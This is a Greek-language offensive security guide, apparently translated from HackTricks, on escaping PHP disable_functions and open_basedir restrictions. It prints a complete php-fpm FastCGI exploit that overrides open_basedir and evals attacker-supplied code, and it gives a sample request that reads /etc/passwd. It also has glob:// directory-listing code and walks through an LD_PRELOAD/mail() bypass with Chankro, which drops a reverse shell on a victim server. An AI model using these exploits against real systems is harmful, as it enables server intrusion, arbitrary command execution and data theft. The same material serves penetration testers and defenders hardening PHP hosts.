Σημείωση: Ένα p0wny-shell php webshell μπορεί αυτόματα να ελέγξει και να παρακάμψει την παρακάτω λειτουργία αν κάποιες από αυτές είναι απενεργοποιημένες.
exec - Επιστρέφει την τελευταία γραμμή της εξόδου των εντολών
echoexec("uname -a");
passthru - Μεταφέρει την έξοδο των εντολών απευθείας στον περιηγητή
echopassthru("uname -a");
system - Μεταφέρει την έξοδο των εντολών απευθείας στον περιηγητή και επιστρέφει την τελευταία γραμμή
echosystem("uname -a");
shell_exec - Επιστρέφει την έξοδο των εντολών
echoshell_exec("uname -a");
`` (backticks) - Ίδιο με το shell_exec()
echo`uname-a`
popen - Ανοίγει σωλήνα ανάγνωσης ή εγγραφής σε διαδικασία μιας εντολής
echofread(popen("/bin/ls /","r"),4096);
proc_open - Παρόμοιο με το popen() αλλά με μεγαλύτερο βαθμό ελέγχου
pcntl_exec - Εκτελεί ένα πρόγραμμα (κατά προτίμηση σε σύγχρονο και όχι τόσο σύγχρονο PHP, χρειάζεται να φορτώσετε το pcntl.so module για να χρησιμοποιήσετε αυτή τη λειτουργία)
mail / mb_send_mail - Αυτή η συνάρτηση χρησιμοποιείται για την αποστολή μηνυμάτων, αλλά μπορεί επίσης να καταχραστεί για να εισάγει αυθαίρετες εντολές μέσα στην παράμετρο $options. Αυτό συμβαίνει επειδή η php mail function συνήθως καλεί το δυαδικό αρχείο sendmail μέσα στο σύστημα και σας επιτρέπει να θέσετε επιπλέον επιλογές. Ωστόσο, δεν θα μπορείτε να δείτε την έξοδο της εκτελούμενης εντολής, οπότε συνιστάται να δημιουργήσετε ένα shell script που να γράφει την έξοδο σε ένα αρχείο, να το εκτελείτε χρησιμοποιώντας το mail και να εκτυπώνετε την έξοδο:
dl - Αυτή η συνάρτηση μπορεί να χρησιμοποιηθεί για να φορτώσει δυναμικά μια επέκταση PHP. Αυτή η συνάρτηση δεν θα είναι πάντα διαθέσιμη, οπότε θα πρέπει να ελέγξετε αν είναι διαθέσιμη πριν προσπαθήσετε να την εκμεταλλευτείτε. Διαβάστε αυτή τη σελίδα για να μάθετε πώς να εκμεταλλευτείτε αυτή τη συνάρτηση.
PHP Code Execution
Εκτός από το eval, υπάρχουν άλλοι τρόποι για να εκτελέσετε κώδικα PHP: οι include/require μπορούν να χρησιμοποιηθούν για απομακρυσμένη εκτέλεση κώδικα με τη μορφή Local File Include και Remote File Include ευπαθειών.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Οι απενεργοποιημένες συναρτήσεις είναι η ρύθμιση που μπορεί να διαμορφωθεί σε αρχεία .ini στο PHP που θα απαγορεύει τη χρήση των υποδεικνυόμενων συναρτήσεων. Open basedir είναι η ρύθμιση που υποδεικνύει στο PHP τον φάκελο που μπορεί να έχει πρόσβαση.
Η ρύθμιση PHP συνήθως διαμορφώνεται στη διαδρομή /etc/php7/conf.d ή παρόμοια.
Και οι δύο ρυθμίσεις μπορούν να φανούν στην έξοδο του phpinfo():
open_basedir Bypass
open_basedir θα διαμορφώσει τους φακέλους που μπορεί να έχει πρόσβαση το PHP, δεν θα μπορείτε να γράψετε/διαβάσετε/εκτελέσετε κανένα αρχείο έξω από αυτούς τους φακέλους, αλλά επίσης δεν θα μπορείτε καν να καταγράψετε άλλους καταλόγους.
Ωστόσο, αν με κάποιο τρόπο μπορείτε να εκτελέσετε αυθαίρετο PHP κώδικα μπορείτε να δοκιμάσετε το παρακάτω κομμάτι κώδικα για να προσπαθήσετε να παρακάμψετε τον περιορισμό.
Καταγραφή φακέλων με glob:// bypass
Σε αυτό το πρώτο παράδειγμα χρησιμοποιείται το πρωτόκολλο glob:// με κάποια παράκαμψη διαδρομής:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Σημείωση1: Στο μονοπάτι μπορείτε επίσης να χρησιμοποιήσετε /e??/* για να καταγράψετε /etc/* και οποιονδήποτε άλλο φάκελο.
Σημείωση2: Φαίνεται ότι μέρος του κώδικα είναι διπλό, αλλά αυτό είναι στην πραγματικότητα απαραίτητο!
Σημείωση3: Αυτό το παράδειγμα είναι μόνο χρήσιμο για να καταγράψετε φακέλους, όχι για να διαβάσετε αρχεία.
Πλήρης παράκαμψη open_basedir εκμεταλλευόμενος το FastCGI
Αν θέλετε να μάθετε περισσότερα για το PHP-FPM και το FastCGI μπορείτε να διαβάσετε την πρώτη ενότητα αυτής της σελίδας.
Αν php-fpm είναι ρυθμισμένο, μπορείτε να το εκμεταλλευτείτε για να παρακάμψετε εντελώς το open_basedir:
Σημειώστε ότι το πρώτο πράγμα που πρέπει να κάνετε είναι να βρείτε πού είναι το unix socket του php-fpm. Συνήθως βρίσκεται κάτω από το /var/run, οπότε μπορείτε να χρησιμοποιήσετε τον προηγούμενο κώδικα για να καταγράψετε τον φάκελο και να το βρείτε.
Κώδικας από εδώ.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Αυτά τα σενάρια θα επικοινωνήσουν με το unix socket του php-fpm (συνήθως βρίσκεται στο /var/run αν χρησιμοποιείται το fpm) για να εκτελέσουν αυθαίρετο κώδικα. Οι ρυθμίσεις open_basedir θα παρακαμφθούν από το χαρακτηριστικό PHP_VALUE που αποστέλλεται.
Σημειώστε πώς χρησιμοποιείται το eval για να εκτελέσει τον PHP κώδικα που στέλνετε μέσα στην παράμετρο cmd.
Επίσης, σημειώστε τη σχολιασμένη γραμμή 324, μπορείτε να την αποσχολιάσετε και το payload θα συνδεθεί αυτόματα στη δεδομένη διεύθυνση URL και θα εκτελέσει τον PHP κώδικα που περιέχεται εκεί.
Απλά αποκτήστε πρόσβαση στο http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); για να αποκτήσετε το περιεχόμενο του αρχείου /etc/passwd.
Μπορεί να σκέφτεστε ότι με τον ίδιο τρόπο που έχουμε παρακάμψει τη ρύθμιση open_basedir μπορούμε να παρακάμψουμε το disable_functions. Λοιπόν, δοκιμάστε το, αλλά δεν θα λειτουργήσει, προφανώς το disable_functions μπορεί να ρυθμιστεί μόνο σε ένα αρχείο ρύθμισης .ini php και οι αλλαγές που κάνετε χρησιμοποιώντας το PHP_VALUE δεν θα είναι αποτελεσματικές σε αυτή τη συγκεκριμένη ρύθμιση.
Bypass του disable_functions
Αν καταφέρετε να έχετε PHP κώδικα να εκτελείται μέσα σε μια μηχανή, πιθανότατα θέλετε να προχωρήσετε στο επόμενο επίπεδο και να εκτελέσετε αυθαίρετες εντολές συστήματος. Σε αυτή την κατάσταση είναι συνηθισμένο να ανακαλύπτετε ότι οι περισσότερες ή όλες οι PHP συναρτήσεις που επιτρέπουν την εκτέλεση εντολών συστήματος έχουν απενεργοποιηθεί στο disable_functions.
Έτσι, ας δούμε πώς μπορείτε να παρακάμψετε αυτόν τον περιορισμό (αν μπορείτε)
Αυτόματη ανακάλυψη παράκαμψης
Μπορείτε να χρησιμοποιήσετε το εργαλείο https://github.com/teambi0s/dfunc-bypasser και θα σας υποδείξει ποια συνάρτηση (αν υπάρχει) μπορείτε να χρησιμοποιήσετε για να παρακάμψετε το disable_functions.
Παράκαμψη χρησιμοποιώντας άλλες συστημικές συναρτήσεις
Απλά επιστρέψτε στην αρχή αυτής της σελίδας και ελέγξτε αν κάποια από τις συναρτήσεις εκτέλεσης εντολών δεν είναι απενεργοποιημένη και διαθέσιμη στο περιβάλλον. Αν βρείτε έστω και μία από αυτές, θα μπορείτε να τη χρησιμοποιήσετε για να εκτελέσετε αυθαίρετες εντολές συστήματος.
Παράκαμψη LD_PRELOAD
Είναι ευρέως γνωστό ότι ορισμένες συναρτήσεις στην PHP όπως το mail() πρόκειται να εκτελέσουν δυαδικά αρχεία μέσα στο σύστημα. Επομένως, μπορείτε να τις εκμεταλλευτείτε χρησιμοποιώντας τη μεταβλητή περιβάλλοντος LD_PRELOAD για να τις κάνετε να φορτώσουν μια αυθαίρετη βιβλιοθήκη που μπορεί να εκτελέσει οτιδήποτε.
Συναρτήσεις που μπορούν να χρησιμοποιηθούν για να παρακάμψουν το disable_functions με LD_PRELOAD
mail
mb_send_mail: Αποτελεσματική όταν είναι εγκατεστημένο το module php-mbstring.
imap_mail: Λειτουργεί αν είναι παρόν το module php-imap.
libvirt_connect: Απαιτεί το module php-libvirt-php.
gnupg_init: Χρησιμοποιήσιμο με το εγκατεστημένο module php-gnupg.
new imagick(): Αυτή η κλάση μπορεί να εκμεταλλευτεί για να παρακάμψει περιορισμούς. Λεπτομερείς τεχνικές εκμετάλλευσης μπορούν να βρεθούν σε μια εκτενή αναφορά εδώ.
Μπορείτε να βρείτε εδώ το σενάριο fuzzing που χρησιμοποιήθηκε για να βρείτε αυτές τις συναρτήσεις.
Εδώ είναι μια βιβλιοθήκη που μπορείτε να μεταγλωττίσετε για να εκμεταλλευτείτε τη μεταβλητή περιβάλλοντος LD_PRELOAD:
Για να εκμεταλλευτείτε αυτή τη λανθασμένη ρύθμιση μπορείτε να Chankro. Αυτό είναι ένα εργαλείο που θα δημιουργήσει μια PHP εκμετάλλευση που πρέπει να ανεβάσετε στον ευάλωτο διακομιστή και να την εκτελέσετε (να την αποκτήσετε μέσω web).
Chankro θα γράψει μέσα στον δίσκο του θύματος τη βιβλιοθήκη και το reverse shell που θέλετε να εκτελέσετε και θα χρησιμοποιήσει το**LD_PRELOAD trick + PHP mail()** function για να εκτελέσει το reverse shell.
Σημειώστε ότι για να χρησιμοποιήσετε το Chankro, mail και putenvδεν μπορούν να εμφανίζονται στη λίστα disable_functions.
Στο παρακάτω παράδειγμα μπορείτε να δείτε πώς να δημιουργήσετε μια εκμετάλλευση chankro για arch 64, που θα εκτελέσει whoami και θα αποθηκεύσει την έξοδο στο /tmp/chankro_shell.out, το chankro θα γράψει τη βιβλιοθήκη και το payload στο /tmp και η τελική εκμετάλλευση θα ονομάζεται bicho.php (αυτό είναι το αρχείο που πρέπει να ανεβάσετε στον διακομιστή του θύματος):
Σημειώστε ότι χρησιμοποιώντας το PHP μπορείτε να διαβάσετε και να γράψετε αρχεία, να δημιουργήσετε καταλόγους και να αλλάξετε δικαιώματα.
Μπορείτε ακόμη και να dump databases.
Ίσως χρησιμοποιώντας το PHP για να enumerate το box να βρείτε έναν τρόπο να κλιμακώσετε τα δικαιώματα/εκτελέσετε εντολές (για παράδειγμα διαβάζοντας κάποιο ιδιωτικό κλειδί ssh).
Έχω δημιουργήσει ένα webshell που διευκολύνει πολύ την εκτέλεση αυτών των ενεργειών (σημειώστε ότι τα περισσότερα webshells θα σας προσφέρουν αυτές τις επιλογές επίσης): https://github.com/carlospolop/phpwebshelllimited
Bypass εξαρτώμενοι από Modules/Version
Υπάρχουν αρκετοί τρόποι για να παρακάμψετε τις απενεργοποιημένες λειτουργίες αν χρησιμοποιείται κάποιο συγκεκριμένο module ή να εκμεταλλευτείτε κάποια συγκεκριμένη έκδοση PHP:
Αυτές οι λειτουργίες δέχονται μια παράμετρο τύπου string που θα μπορούσε να χρησιμοποιηθεί για να καλέσει μια λειτουργία της επιλογής του επιτιθέμενου. Ανάλογα με τη λειτουργία, ο επιτιθέμενος μπορεί ή όχι να έχει τη δυνατότητα να περάσει μια παράμετρο. Σε αυτή την περίπτωση, μια λειτουργία αποκάλυψης πληροφοριών όπως το phpinfo() θα μπορούσε να χρησιμοποιηθεί.
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Αποκάλυψη Πληροφοριών
Οι περισσότερες από αυτές τις κλήσεις συναρτήσεων δεν είναι sinks. Αλλά μπορεί να είναι μια ευπάθεια αν οποιαδήποτε από τα δεδομένα που επιστρέφονται είναι ορατά σε έναν επιτιθέμενο. Αν ένας επιτιθέμενος μπορεί να δει το phpinfo(), είναι σίγουρα μια ευπάθεια.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Filesystem Functions
Σύμφωνα με το RATS, όλες οι λειτουργίες συστήματος αρχείων στο php είναι κακές. Ορισμένες από αυτές δεν φαίνονται πολύ χρήσιμες για τον επιτιθέμενο. Άλλες είναι πιο χρήσιμες από ό,τι μπορεί να νομίζετε. Για παράδειγμα, αν το allow_url_fopen=On, τότε μια διεύθυνση URL μπορεί να χρησιμοποιηθεί ως διαδρομή αρχείου, οπότε μια κλήση στο copy($_GET['s'], $_GET['d']); μπορεί να χρησιμοποιηθεί για να ανεβάσει ένα PHP script οπουδήποτε στο σύστημα. Επίσης, αν μια ιστοσελίδα είναι ευάλωτη σε ένα αίτημα που αποστέλλεται μέσω GET, κάθε μία από αυτές τις λειτουργίες συστήματος αρχείων μπορεί να καταχραστεί για να κατευθύνει και να επιτεθεί σε έναν άλλο host μέσω του διακομιστή σας.
Γράψτε στο σύστημα αρχείων (μερικώς σε συνδυασμό με την ανάγνωση)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir